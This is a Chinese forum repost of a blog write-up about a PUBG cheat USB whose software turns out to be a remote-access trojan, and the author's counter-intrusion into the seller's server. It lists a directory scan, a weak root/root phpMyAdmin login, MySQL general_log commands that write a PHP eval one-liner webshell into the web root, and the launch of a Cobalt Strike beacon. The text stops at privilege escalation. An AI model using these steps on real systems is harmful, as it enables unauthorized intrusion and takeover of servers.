搜索

[18519] 2020-04-16_记一次对PUBG吃鸡外挂病毒的反制过程

文档创建者：s7ckTeam
浏览次数：24
最后更新：2025-01-18
2020-04-16_记一次对PUBG吃鸡外挂病毒的反制过程 记 一 次 对 P U B G 吃 鸡 外 挂 病 毒 的 反 制 过 程 原 创   夜 无 名   H A C K 学 习 呀   2 0 2 0 - 0 4 - 1 6 0 X 0 0         事 件 前 言 事 件 前 言   这 事 还 要 从 一 只 蝙 蝠 开 始 说 起 ~ . . . . . . . . . . . 疫 情 的 原 因 在 家 闲 的 翻 箱 倒 柜 ， 翻 出 了 这 么 个 玩 意 ， 没 错 这 就 是 “ 压 枪 神 器 ” 想 当 初 我 把 把 落 地 成 盒 又 在 某 宝 铺 天 盖 地 的 推 送 下 ， 忍 痛 割 爱 花 了 百 来 块 钱 买 了 这 神 器 。  
  买 回 来 后 开 始 后 悔 了 ， 经 过 简 单 的 观 察 分 析 此 U S B 的 行 为 ， 并 非 啥 智 能 压 枪 芯 片 ， 实 际 上 就 是 一 个 软 件 加 密 狗 的 U S B 加 密 了 商 家 给 发 的 无 后 坐 软 件 ， 通 过 对 某 宝 搜 索 加 密 狗 U S B 看 看 这 价 格 ， 属 实 暴 利 。
0 X 0 1         故 事 开 始 ： 故 事 开 始 ：   因 翻 出 了 此 U S B 加 密 狗 ， 心 血 来 潮 想 开 把 游 戏 试 试 还 有 没 有 效 果 ， 进 入 商 家 之 前 提 供 的 下 载 地 址 下 载 软 件 ， 这 次 幸 运 的 忘 了 关 杀 毒 软 件 ， 哦 豁 ？ ？ 这 是 嘛 呀 ， 这 图 标 咋 这 么 熟 悉 呢 ， 这 不 是 赤 裸 裸 的 远 控 吗 ， 难 怪 商 家 之 前 一 直 强 调 要 先 关 了 杀 毒 软 件 在 打 开 ， 原 来 藏 着 这 么 大 的 猫 腻 。
  之 前 也 一 直 傻 愣 愣 的 把 杀 毒 软 件 都 关 了 才 开 始 玩 的 ， U S B 是 从 去 年 四 月 份 购 入 的 ， 合 着 当 了 差 不 多 一 年 的 肉 鸡 了 ， 坑 我 钱 封 我 号 就 算 了 还 拿 我 当 肉 鸡 使 ， 这 谁 受 得 了 必 须 得 搞 。 0 X 0 2         信 息 收 集 信 息 收 集
  二 话 不 说 直 接 丢 到 微 步 沙 箱 分 析 一 波 看 看 能 不 能 挖 出 什 么 重 要 的 信 息 ， 软 件 的 持 久 化 跟 读 取 系 统 信 息 这 类 的 高 危 操 作 行 为 ， 确 定 远 控 无 疑 了 。
  再 翻 翻 有 没 有 跟 软 件 交 互 的 i p 或 者 U R L 做 为 入 手 点 ， 果 不 其 然 在 大 量 的 U R L 链 接 中 发 现 了 一 条 开 着 h t t p 协 议 的 i p 地 址 。   访 问 之 ~ 其 h t t p : / / 1 0 x . x x . x x . x x / 1 / 1 . t x t 内 容 就 是 软 件 上 的 公 告 ， 确 定 了 这 台 i p 是 软 件 的 服 务 器 没 跑 了 。
既 然 开 了 w e b 的 服 务 ， 直 接 上 d i r m a p 强 大 的 目 录 探 测 工 具 看 看 能 不 能 跑 出 啥 重 要 信 息 ， 速 度 很 快 不 一 会 探 测 出 了 P H P m y a d m i n 等 信 息 。   直 接 复 制 路 径 访 问 ， 习 惯 性 的 一 波 弱 口 令 r o o t / r o o t 给 进 去 了 . . . . . . . 像 这 类 的 软 件 作 者 安 全 意 识 很 低 几 乎 没 有 ， 因 为 没 有 人 去 抓 包 去 分 析 流 量 很 难 发 现 背 后 所 交 互 的 i p ， 果 然 又 是 一 套 p h p S t u d y 搭 建 起 来 的 w e b 服 务 。
0 X 0 3         G e t s h e l l 因 为 已 经 拿 到 了 p h p m y a d m i n 的 数 据 库 且 还 是 r o o t 权 限 的 ， 可 利 用 数 据 库 的 日 志 导 出 功 能 导 出 一 句 话 p h p 。 1 .   先 手 动 开 启 日 志 s e t   g l o b a l     g e n e r a l _ l o g = ' o n ' 1 .   检 查 是 否 开 启 成 功 s h o w   v a r i a b l e s   l i k e   " g e n e r a l _ l o g % "
1 .   设 置 日 志 文 件 输 出 的 路 径 ， 结 合 P H P i n f o 文 件 得 到 网 站 的 绝 对 路 径 ， 直 接 输 出 到 w e b 路 径 下 。 s e t   g l o b a l     g e n e r a l _ l o g _ f i l e   = " C : p h p S t u d y P H P T u t o r i a l W W W i n f o . p h p " 1 .   写 入 一 句 话 ， 输 出 到 日 志 文 件 中 。 s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ ' t o o l s ' ] ) ; ? > ' 菜 刀 连 接 上 刚 刚 导 出 的 一 句 话 。
0 X 0 3         权 限 提 升 权 限 提 升 到 这 里 就 已 经 拿 到 了 w e b s h e l l ， 但 s h e l l   的 权 限 还 太 过 于 小 我 们 的 目 标 是 拿 下 对 方 的 系 统 权 限 ， 这 里 我 用 c s 上 线 方 便 后 续 的 操 作 ， c s 生 成 上 线 程 序 “ s p l w w 6 4 . e x e ” ， 利 用 菜 刀 的 虚 拟 终 端 管 理 运 行 我 们 的 程 序 。 过 了 几 秒 C s 这 边 也 上 线 了 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理